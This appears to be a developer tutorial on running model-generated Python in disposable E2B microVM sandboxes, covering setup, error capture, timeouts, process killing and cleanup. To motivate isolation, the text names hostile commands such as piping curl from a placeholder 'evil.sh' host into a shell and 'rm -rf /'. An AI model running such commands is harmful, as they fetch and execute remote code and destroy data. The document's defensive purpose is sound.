If you're shipping a coding agent or a data-analysis agent, you will eventually hand a model a Python interpreter and ask it to run whatever it just wrote. That's the entire risk surface of an agent product in one sentence. A try/except around exec() does not fix it — it's still your process, your filesystem, your credentials. What you need is a boundary the code literally cannot see past. E2B sells exactly that: disposable, sub-second-boot microVMs you spin up over an API, run arbitrary code in, and throw away.
This is the hands-on version: install, run trivial code, run model-generated code, bound it with timeouts, kill it when it misbehaves, clean up.
Why a container or a try/except isn't a security boundary#
try/except catches exceptions in your interpreter. It does nothing about os.system("curl evil.sh | sh"), a fork bomb, or a script that reads .env off disk — that code runs with your process's permissions, on your process's filesystem, on your network.
A Docker container is better but still shares your host's kernel. A container escape or a kernel-level bug in a namespace/cgroup implementation puts the attacker back on your box — the reason your container is not a sandbox. For code a model wrote — code you have not read, generated from a prompt you don't fully control — "probably fine because it's containerized" isn't a security posture.
E2B sandboxes are Firecracker microVMs: a separate kernel, separate memory, separate machine, reachable only through the API you call. If the generated code tries to escape, there's no host process to escape to — that's the difference between an isolation boundary and a speed bump.
Setup: install and API key#
pip install e2b-code-interpreter e2b
export E2B_API_KEY="e2b_your_key_here"
Get the key from the E2B dashboard after signing up at e2b.dev. The SDK reads E2B_API_KEY from the environment automatically — no need to pass it explicitly unless you're juggling multiple accounts.
The Hobby tier is free, no card required, and is enough to build and test this end to end (short sandbox sessions, a generous concurrent-sandbox limit). The paid Pro tier buys longer-lived sandboxes for agents that need to keep state alive across a long session — check the current numbers on E2B's pricing page. (If you're weighing E2B against alternatives, see E2B vs Modal vs Daytona.)
Step 1: hello world — first sandbox#
from e2b_code_interpreter import Sandbox
with Sandbox.create() as sandbox:
execution = sandbox.run_code("print('hello from the sandbox')")
print(execution.logs.stdout) # ['hello from the sandbox\n']
Sandbox.create() boots a fresh microVM (E2B's are optimized for sub-second startup). run_code() executes Python inside it and returns an Execution object — the sandbox itself stays warm, so you can call run_code() again and reuse variables from the previous call, like cells in a notebook.
Step 2: run model-generated code, capture everything#
This is the real use case: a string of Python you didn't write, from a model that might make mistakes. You want stdout, stderr, and structured errors back — not a stack trace in your own process.
from e2b_code_interpreter import Sandbox
# In practice this string comes from your LLM's tool-call output.
llm_generated_code = """
import pandas as pd
df = pd.DataFrame({"revenue": [120, 340, 90]})
print(df.describe())
1 / 0 # the model's code has a bug
"""
with Sandbox.create() as sandbox:
execution = sandbox.run_code(llm_generated_code)
stdout = "".join(execution.logs.stdout)
stderr = "".join(execution.logs.stderr)
if execution.error:
# the error carries the exception name, message, and traceback
print(f"failed: {execution.error.name}: {execution.error.value}")
print(execution.error.traceback)
else:
print("stdout:", stdout)
print("result:", execution.text) # value of the last expression, notebook-style
Nothing here ever calls eval() or exec() in your app. The string goes over the wire to the sandbox's kernel and runs there; a crash, an infinite loop, or a deliberate os.system("rm -rf /") only ever touches the throwaway VM. Feed execution.error straight back to your agent loop so the model can see its own traceback and retry — this is the same feedback cycle Cursor- and Devin-style coding agents run internally.
Step 3: guardrails — timeouts and killing runaway processes#
Untrusted, model-written code will hang: an accidental while True, a scraper that never gets a response, a recursive function with no base case. You need two independent limits, because either one failing shouldn't leave the sandbox running forever.
from e2b_code_interpreter import Sandbox
from e2b import TimeoutException
runaway_code = "while True:\n pass"
# Sandbox-level cap: the whole VM is killed after 120s no matter what.
with Sandbox.create(timeout=120) as sandbox:
try:
# Call-level cap: this specific execution gets 10s.
sandbox.run_code(runaway_code, timeout=10)
except TimeoutException:
print("execution exceeded its 10s budget — sandbox is still alive")
# The sandbox survives a run_code timeout; you can keep using it.
execution = sandbox.run_code("print('still here')")
print(execution.logs.stdout)
For long-running background jobs (a scraper, a build), launch them explicitly and keep a handle you can kill:
handle = sandbox.commands.run("python long_running_job.py", background=True)
# ... later, once you decide it's stuck ...
handle.kill() # SIGKILL inside the sandbox — host is never involved
And if a sandbox itself is misbehaving (not just one process in it), the blunt instrument is sandbox.kill(), or the static form when you only have the ID: Sandbox.kill(sandbox_id).
The reason this matters more than a Python-level timeout: a signal.alarm() or asyncio.wait_for() in your own process only stops your interpreter's control flow. It does nothing about a subprocess the code spawned, a socket it opened, or memory it's still holding. Because E2B's timeout kills the whole VM, everything inside it — spawned processes included — dies with it. The guarantee lives at the VM boundary, not in your exception handling.
Step 4: cleanup and lifecycle#
The with Sandbox.create() as sandbox: pattern from every example above kills the sandbox automatically on exit, even if an exception was raised inside the block. For most request-scoped agent calls, that's all you need — one sandbox per request, created and destroyed around the work.
For a conversational agent that runs code across many turns, killing and rebooting a sandbox every turn adds latency for no reason. Persist the sandbox.sandbox_id and reconnect:
# First turn: create and remember the ID
sandbox = Sandbox.create(timeout=600)
session_id = sandbox.sandbox_id # save this alongside your conversation state
# Later turns: reconnect to the same VM, extend its life
sandbox = Sandbox.connect(session_id)
sandbox.set_timeout(600) # push the expiry out again after each turn
Whichever pattern you pick, don't skip an explicit sandbox.kill() (or the context manager) on your error paths — an orphaned sandbox is just billed compute time with no one home. E2B's own timeout on Sandbox.create() is the backstop: even if your app crashes before cleanup runs, the sandbox self-terminates when its clock runs out.



